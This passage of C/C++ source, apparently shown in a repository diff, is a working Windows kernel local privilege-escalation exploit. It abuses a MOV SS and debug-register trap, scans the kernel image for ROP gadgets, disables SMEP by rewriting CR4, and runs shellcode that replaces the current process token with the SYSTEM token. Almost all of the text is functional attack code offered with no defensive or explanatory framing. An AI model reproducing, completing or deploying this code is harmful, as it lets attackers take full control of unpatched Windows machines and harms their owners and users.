for (int i = 0; i < 0x500; i += 0x8)
{
uint64_t Member = *(uint64_t *)(CurrentProcess + i);
if ((Member & ~0xF) == CurrentToken)
{
*(uint64_t *)(CurrentProcess + i) = SystemToken;
break;
}
}
k_PsDereferencePrimaryToken(CurrentToken);
k_PsDereferencePrimaryToken(SystemToken);
// ------ KERNEL CODE ------
__swapgs();
((ISR_STACK*)IsrStackIterator)->RIP += 1;
(fnIRetToVulnStub(KStub))(Cr4Old, IsrStackIterator, ContextBackup);
}
PUCHAR AllocateLockedMemoryForKernel(SIZE_T Sz)
{
PUCHAR Va = (PUCHAR)VirtualAlloc(0, Sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ZeroMemory(Va, Sz);
for (int i = 0; i < Sz; i += 0x1000)
Np_TryLockPage(Va + i);
return Va;
}
void PrivEsc()
{
// Pre-init checks: KVA Shadow
SYSTEM_KERNEL_VA_SHADOW_INFORMATION KvaInfo = { 0 };
if (!NtQuerySystemInformation(SystemKernelVaShadowInformation, &KvaInfo, (uint64_t) sizeof(KvaInfo), 0ull))
assert(!KvaInfo.KvaShadowFlags.KvaShadowEnabled);
// Initialization: Memory allocation, locking sections, loading nt
assert(Np_LockSections());
assert(Np_TryLockPage(&__rollback_isr));
assert(Np_TryLockPage(&__swapgs));
KernelContext* KrCtx = Kr_InitContext();
assert(KrCtx);
static PUCHAR Pcr = AllocateLockedMemoryForKernel(0x10000);
static PUCHAR KThread = AllocateLockedMemoryForKernel(0x10000);
static PUCHAR KProcess = AllocateLockedMemoryForKernel(0x10000);
static PUCHAR Prcb = Pcr + Offset_Pcr__Prcb;
// Offsets: Finding offsets and ROP gadgets
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)KrCtx->NtLib;
PIMAGE_NT_HEADERS FileHeader = (PIMAGE_NT_HEADERS)((uint64_t)DosHeader + DosHeader->e_lfanew);
PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)(((uint64_t)&FileHeader->OptionalHeader) + FileHeader->FileHeader.SizeOfOptionalHeader);
while (_strcmpi((char*)SectionHeader->Name, ".text")) SectionHeader++;
uint64_t AdrRetn = 0;
uint64_t AdrPopRcxRetn = 0;
uint64_t AdrSetCr4Retn = 0;
PUCHAR NtBegin = (PUCHAR)KrCtx->NtLib + SectionHeader->VirtualAddress;
PUCHAR NtEnd = NtBegin + SectionHeader->Misc.VirtualSize;
// Find [RETN]
for (PUCHAR It = NtBegin; It < NtEnd; It++)
{
if (It[0] == 0xC3)
{
AdrRetn = It - (PUCHAR)KrCtx->NtLib + KrCtx->NtBase;
break;
}
}
// Find [POP RCX; RETN]
for (PUCHAR It = NtBegin; It < NtEnd; It++)
{
if (It[0] == 0x59 && It[1] == 0xC3)
{
AdrPopRcxRetn = It - (PUCHAR)KrCtx->NtLib + KrCtx->NtBase;
break;
}
}
// Find [MOV CR4, RCX; RETN]
for (PUCHAR It = NtBegin; It < NtEnd; It++)
{
if (It[0] == 0x0F && It[1] == 0x22 &&
It[2] == 0xE1 && It[3] == 0xC3)
{
AdrSetCr4Retn = It - (PUCHAR)KrCtx->NtLib + KrCtx->NtBase;
break;
}
}
assert(AdrRetn);
assert(AdrPopRcxRetn);
assert(AdrSetCr4Retn);
PUCHAR UPsGetCurrentProcess = (PUCHAR)GetProcAddress(KrCtx->NtLib, "PsGetCurrentProcess");
PUCHAR UKeBugCheckEx = (PUCHAR)GetProcAddress(KrCtx->NtLib, "KeBugCheckEx");
for (int i = 0; i < 0x50; i++)
{
if (UKeBugCheckEx[i] == 0x48 && UKeBugCheckEx[i + 1] == 0x8B && // mov rax,
UKeBugCheckEx[i + 7] == 0xE8) // call
{
Offset_Prcb__Context = *(int32_t *)(UKeBugCheckEx + i + 3);
break;
}
}
for (int i = 0; i < 0x50; i++)
{
if (UPsGetCurrentProcess[i] == 0x48 && UPsGetCurrentProcess[i + 1] == 0x8B && // mov rax,
UPsGetCurrentProcess[i + 7] == 0xC3) // retn
{
Offset_KThread__ApcStateFill__Process = *(int32_t *)(UPsGetCurrentProcess + i + 3);
break;
}
}
assert(Offset_Prcb__Context);
assert(Offset_KThread__ApcStateFill__Process);
*(PVOID*)(Pcr + Offset_Pcr__Self) = Pcr; // Pcr.Self
*(PVOID*)(Pcr + Offset_Pcr__CurrentPrcb) = Pcr + Offset_Pcr__Prcb; // Pcr.CurrentPrcb
*(DWORD*)(Prcb) = MxCsr__DefVal; // Prcb.MxCsr
*(PVOID*)(Prcb + Offset_Prcb__CurrentThread) = KThread; // Prcb.CurrentThread
*(PVOID*)(Prcb + Offset_Prcb__Context) = Prcb + 0x3000; // Prcb.Context, Placeholder
*(PVOID*)(KThread + Offset_KThread__ApcStateFill__Process) = KProcess; // EThread.ApcStateFill.EProcess
*(PVOID*)(Prcb + Offset_Prcb__RspBase) = (PVOID)1; // Prcb.RspBase
*(PVOID*)(KThread + Offset_KThread__InitialStack) = 0; // EThread.InitialStack
NON_PAGED_DATA static DWORD SavedSS = __readss();
// Execute Exploit!
HANDLE ThreadHandle = CreateThread(0, 0, [](LPVOID) -> DWORD
{
volatile PCONTEXT Ctx = *(volatile PCONTEXT*)(Prcb + Offset_Prcb__Context);
while (!Ctx->Rsp); // Wait for RtlCaptureContext to be called once so we get leaked RSP
uint64_t StackInitial = Ctx->Rsp;
while (Ctx->Rsp == StackInitial); // Wait for it to be called another time so we get the stack pointer difference
// between sequential KiDebugTrapOrFault's
StackDelta = Ctx->Rsp - StackInitial;
PredictedNextRsp = Ctx->Rsp + StackDelta; // Predict next RSP value when RtlCaptureContext is called
uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8; // Predict where the return pointer will be located at
NextRetPtrStorage &= ~0xF;
*(uint64_t*)(Prcb + Offset_Prcb__Context) = NextRetPtrStorage - Offset_Context__XMM13;
// Make RtlCaptureContext write XMM13-XMM15 over it
return 0;
}, 0, 0, 0);
assert(ThreadHandle);
assert(SetThreadPriority(ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL));
SetThreadAffinityMask(ThreadHandle, 0xFFFFFFFE);
SetThreadAffinityMask(HANDLE(-2), 0x00000001);
k_ExAllocatePool = KrCtx->GetProcAddress<>("ExAllocatePool");
k_PsReferencePrimaryToken = KrCtx->GetProcAddress<>("PsReferencePrimaryToken");
k_PsDereferencePrimaryToken = KrCtx->GetProcAddress<>("PsDereferencePrimaryToken");
k_PsGetCurrentProcess = KrCtx->GetProcAddress<>("PsGetCurrentProcess");
k_PsInitialSystemProcess = KrCtx->GetProcAddress<uint64_t*>("PsInitialSystemProcess");
//Force proper execution order? If you leave this out, the computer can BSoD.
Sleep(1000);
CONTEXT Ctx = { 0 };
Ctx.Dr0 = (uint64_t)&SavedSS; // Trap SS
Ctx.Dr1 = (uint64_t)Prcb + Offset_Prcb__Cr8; // Trap KiSaveProcessorControlState, Cr8 storage
Ctx.Dr7 =
(1 << 0) | (3 << 16) | (3 << 18) | // R/W, 4 Bytes, Active
(1 << 2) | (3 << 20) | (2 << 22); // W, 8 Bytes, Active
Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
assert(SetThreadContext(HANDLE(-2), &Ctx));
uint64_t RetnRetn[2] = { AdrRetn, AdrRetn };
uint64_t PopRcxRetnRcx[2] = { AdrPopRcxRetn, 0x506f8 };
uint64_t SetCr4Retn[2] = { AdrSetCr4Retn, (uint64_t)&KernelShellcode };
// RSP:
__setxmm13((BYTE*)RetnRetn); // &retn // we need to align xmm writes so two place holders just incase!
// &retn
__setxmm14((BYTE*)PopRcxRetnRcx); // &pop rcx
// 0x506f8
__setxmm15((BYTE*)SetCr4Retn); // &mov cr4, rcx; retn
// &KernelShellcode
PVOID ProperGsBase = __read_gs_base();
__set_gs_base(Pcr);
__triggervuln(ContextBackup, &SavedSS); // Let the fun begin
__set_gs_base(ProperGsBase);
return;
}

Some files were not shown because too many files have changed in this diff Show More